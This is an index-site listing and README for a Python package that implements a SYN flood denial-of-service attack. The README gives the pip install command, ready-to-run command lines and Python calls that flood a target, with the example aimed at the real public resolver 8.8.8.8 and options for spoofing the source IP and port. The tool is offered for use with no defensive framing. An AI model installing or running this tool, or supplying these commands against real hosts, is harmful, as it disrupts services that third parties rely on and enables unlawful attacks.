Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/mauricelambert/synflood
This package implements a DOS (Denial Of Service) tool in python (SYN Flood).
https://github.com/mauricelambert/synflood
dos pypi-package python3 scapy synflood
Last synced: about 10 hours ago
JSON representation
This package implements a DOS (Denial Of Service) tool in python (SYN Flood).
- Host: GitHub
- URL: https://github.com/mauricelambert/synflood
- Owner: mauricelambert
- License: gpl-3.0
- Created: 2021-01-17T21:23:34.000Z (almost 4 years ago)
- Default Branch: main
- Last Pushed: 2022-01-31T18:30:21.000Z (almost 3 years ago)
- Last Synced: 2024-05-01T09:17:10.720Z (7 months ago)
- Topics: dos, pypi-package, python3, scapy, synflood
- Language: Python
- Homepage:
- Size: 66.4 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE.txt
Awesome Lists containing this project
README
![SynFlood logo](https://mauricelambert.github.io/info/python/security/SynFlood_small.png "SynFlood logo")
# SynFlood
## Description
This package implements a SYN flood attack (DOS attack: Denial Of Service).
## Requirements
This package require:
- python3
- python3 Standard Library
- Scapy## Installation
```bash
pip install SynFlood
```## Usages
### Command lines
```bash
python3 -m SynFlood --helppython3 SynFlood.pyz --verbose --dport 80 --source 0.0.0.0 --sport 45586 --interface 172.16.0. --data abc 8.8.8.8
SynFlood -h
SynFlood 8.8.8.8
SynFlood -v -p 80 -s 0.0.0.0 -P 45586 -i 172.16.0. -d abc 8.8.8.8
```### Python3
```python
from SynFlood import synflood, conf_iface
synflood("8.8.8.8", 80, "0.0.0.0", 45586)
synflood("8.8.8.8", 80, "0.0.0.0", 45586, b"abc", conf_iface)
```## Link
- [Github Page](https://github.com/mauricelambert/SynFlood)
- [Pypi](https://pypi.org/project/SynFlood/)
- [Documentation](https://mauricelambert.github.io/info/python/security/SynFlood.html)
- [Python Executable](https://mauricelambert.github.io/info/python/security/SynFlood.pyz)## Help
```
usage: SynFlood [-h] [--dport DPORT] [--source SOURCE] [--sport SPORT] [--data DATA] [--verbose] [--interface INTERFACE] targetThis script implements a SynFlood attack.
positional arguments:
target Target IP or hostname.optional arguments:
-h, --help show this help message and exit
--dport DPORT, -p DPORT
Destination port.
--source SOURCE, -s SOURCE
Source IP.
--sport SPORT, -P SPORT
Source port.
--data DATA, -d DATA Additional data
--verbose, -v Mode verbose (print debug message)
--interface INTERFACE, -i INTERFACE
Part of the IP, MAC or name of the interface
```## Licence
Licensed under the [GPL, version 3](https://www.gnu.org/licenses/).